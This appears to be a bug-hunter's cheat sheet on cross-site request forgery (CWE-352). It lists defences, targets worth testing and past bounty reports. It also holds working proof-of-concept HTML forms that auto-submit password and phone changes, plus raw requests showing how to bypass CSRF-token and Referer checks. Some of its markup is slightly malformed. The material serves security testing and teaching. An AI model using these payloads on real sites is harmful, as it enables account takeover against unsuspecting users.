CSRF
CWE-352: Cross-Site Request Forgery (CSRF)
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CWE-352: Cross-Site Request Forgery (CSRF)
Last updated
Was this helpful?
Was this helpful?
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated.
CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
CSRF Tokens
SameSite Cookie
Json Content-Type
Requiring Re-authentication for Sensitive Actions
Double Submit Cookie Pattern
Origin and Referer Header Validation
Captchas
Custom Request Headers
<html>
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
<input type="hidden"
name= '{"phone":"01111111118","a":"' value='"}'>
</form>
<script>
history.pushState("", "", "/anything@account.example.com")
document.forms[0].submit();
</script>
</body>
</html>
------------------------------
# Request
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Referer: https://evil.com/test@example.com
{"phone":"01111111118","a":""}
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: application/json
{"phone":"01111111118","a":""}
--------------
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: application/x-www-form-urlencoded
phone=01111111118
-----------------------------
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: plain/text
phone=01111111118
Authentication-Required Actions: Look for actions that require authentication, such as changing account settings, updating passwords, or making transactions. These are common areas where CSRF vulnerabilities can have significant impact.
User Profile Changes: Check for actions related to user profile changes, such as updating email addresses, changing personal information, or modifying profile pictures.
Account Deletion or Suspension: Actions that allow a user to delete or suspend their account could be targets for CSRF attacks.
Payment and Transactional Actions: Look for payment-related actions like making transactions, adding payment methods, or modifying subscription plans.
Form Submissions: Any action that involves form submissions could potentially be a target. This includes actions like submitting support tickets, submitting feedback, or submitting any kind of content.
CSRF Tokens: Some applications use CSRF tokens as a mitigation technique. Look for instances where CSRF tokens are missing or improperly validated. You might find CSRF tokens in hidden fields within HTML forms or as headers in AJAX requests.
Third-Party Integrations: If the application integrates with third-party services or APIs, check if these integrations are susceptible to CSRF attacks.
Changing Security Settings: Actions related to changing security settings, like enabling two-factor authentication (2FA) or changing security questions, can also be targets.
Privilege Escalation: Actions that involve escalating user privileges, such as changing a user's role or permissions, should be thoroughly tested for CSRF vulnerabilities.
Logging Out: Even the logout functionality can be exploited through CSRF attacks, forcing a victim to unknowingly log out.
Password Reset: If the password reset process doesn't include proper CSRF protections, an attacker could potentially change a user's password without their consent.
test login, logout, reset pass, change password, add-cart, like, comment, profile change, user details change, balance transfer, subscription, etc
CSRF on connecting Paypal as Payment Provider to Shopify - 287 upvotes, $500
Account Takeover using Linked Accounts due to lack of CSRF protection to Rockstar Games - 227 upvotes, $1000
Periscope android app deeplink leads to CSRF in follow action to Twitter - 204 upvotes, $1540
to InnoGames - 186 upvotes, $1100
to Glassdoor - 152 upvotes, $3000
to Imgur - 141 upvotes, $500
to GitHub - 138 upvotes, $10000
to HackerOne - 134 upvotes, $2500
to Grammarly - 129 upvotes, $750
to Stripe - 105 upvotes, $2500
to Khan Academy - 101 upvotes, $0
to Rockstar Games - 98 upvotes, $1000
to WordPress - 94 upvotes, $950
to Logitech - 85 upvotes, $200
to Flickr - 82 upvotes, $750
to Discourse - 81 upvotes, $512
to Stripe - 80 upvotes, $2500
to Twitter - 79 upvotes, $5040
to TikTok - 78 upvotes, $2373
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b
----------------------------------
<html>
<form method="POST" action="<https://email.example.com/password_change>" id"csrf-form">
<input type="text" name="new_password" value="abc123">
<input type="text" name="csrf_token" value="871caef0757a4ac9691aceb9aad8b65b ">
<input type='submit' value="Submit">
</form>
<script>document.getElementById("csrf-form").submit();</script>
</html>
--------------------------------------------------------------
## Expected Code
def validate_token():
if request.csrf_token:
if (request.csrf_token in valid_csrf_tokens):
pass
else:
throw_error("CSRF token incorrect. Request rejected.")
[...]
def process_state_changing_action():
validate_token()
execute_action()
------------------------------------------------------------------------
# Exploit
If the token is fixed value for the account then change the email to victim's email and make CSRF poc
with the old CSRF token from old requests
# Valid
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=871caef0757a4ac9691aceb9aad8b65b
(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b
--------------------------
# Invalid
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=1aceb9aad8b65b871caef0757a4ac969
(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b
---------------------------------------
# Bypass
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=not_a_real_token
(POST request body)
new_password=abc123&csrf_token=not_a_real_token
# Just Remove The referrer
<html>
<meta name="referrer" content="no-referrer">
<form method="POST" action="<https://email.example.com/password_change>" id="csrf-form">
<input type="text" name="new_password" value="abc123">
<input type='submit' value="Submit">
</form>
<script>document.getElementById("csrf-form").submit();</script>
</html>
--------------------
# Expected Code
def validate_referer():
if (request.referer in allowlisted_domains):
pass
else:
throw_error("Referer incorrect. Request rejected.")
[...]
def process_state_changing_action():
if request.referer:
validate_referer()
execute_action()
---------------------------
# another way
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Referer: example.com.attacker.com
(POST request body)
new_password=abc123
------------------
# Vulnerable code
def validate_referer():
if request.referer:
if ("example.com" in request.referer):
pass
else:
throw_error("Referer incorrect. Request rejected.")
[...]
def process_state_changing_action():
validate_referer()
execute_action()